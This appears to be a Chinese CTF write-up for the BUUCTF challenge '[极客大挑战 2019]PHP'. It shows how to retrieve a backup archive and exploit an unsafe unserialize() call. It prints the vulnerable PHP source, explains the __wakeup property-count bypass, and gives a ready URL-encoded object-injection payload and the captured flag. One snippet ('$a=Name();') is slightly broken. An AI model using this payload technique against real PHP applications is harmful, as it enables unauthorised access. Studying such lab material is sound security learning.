题目源:BUUCTF的web题

[极客大挑战 2019]PHP

原始信息

提示信息:
因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
不愧是我!!!

提取下,就是:备份网站。
基于网站一般是www文件,猜它是www.zip或者www.rar等。

访问 http://xxx.xxx.com/www.zip 得到备份文件
文件结构如下:
class.php flag.php index.js index.php style.css

解题

flag文件基本上就省略了,肯定没信息。

读剩下两个php文件看看:

index.php   唯一有用的信息:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php 里面装着一个类

include 'flag.php';
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

源码分析1

# 核心源码
include 'class.php';
$select = $_GET['select'];

# 反序列化对象,你传入什么参数就返序列化什么参数
$res=unserialize(@$select);

那这下的重点就放到了反序列化的函数能返回什么内容上了。

源码分析2

class Name{

private $username = 'nonono';
private $password = 'yesyes';

# 初始化的魔术方法__construct
# 但凡你不是new出来的,八成用不到它,跳过
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

# 在调用反序列化函数的时候,强制更迭username的值
# 这里正是最重要的绕过点
function __wakeup(){
$this->username = 'guest';
}

# 对象终止不再调用时,掉用此处的模式方法
function __destruct(){

# 跳过1:当密码是100时跳过这个判断
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}

# 跳过2:当用户名是admin时,进入这个判断
if ($this->username === 'admin') {

# 真正的输出flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

解决问题,得到flag:

漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

构造类:

class Name{
private $username = 'admin';
private $password = 100;
}

使用serialize序列化上面的类,并且使用url编码输出
# url编码的原因很简单,因为url编码可以防止序列化后出现的特殊字符串无法显示的问题。

$a=Name();
echo urlencode(serialize($a));

序列化完成后得到下面的字符串:

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

对比下序列化的字符串,修改属性个数:(注意,下面的序列化展示部分字符无法展示)
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
^
2修改为3后,我们就可以构造自己的payload了
(当成员属性数目大于实际数目时才可绕过wakeup)

payload:
index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

真正访问后,当然是返回flag啦~

因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
不愧是我!!!
flag{7d057049-571c-46a5-be2c-d0e0d765639b}

暂时略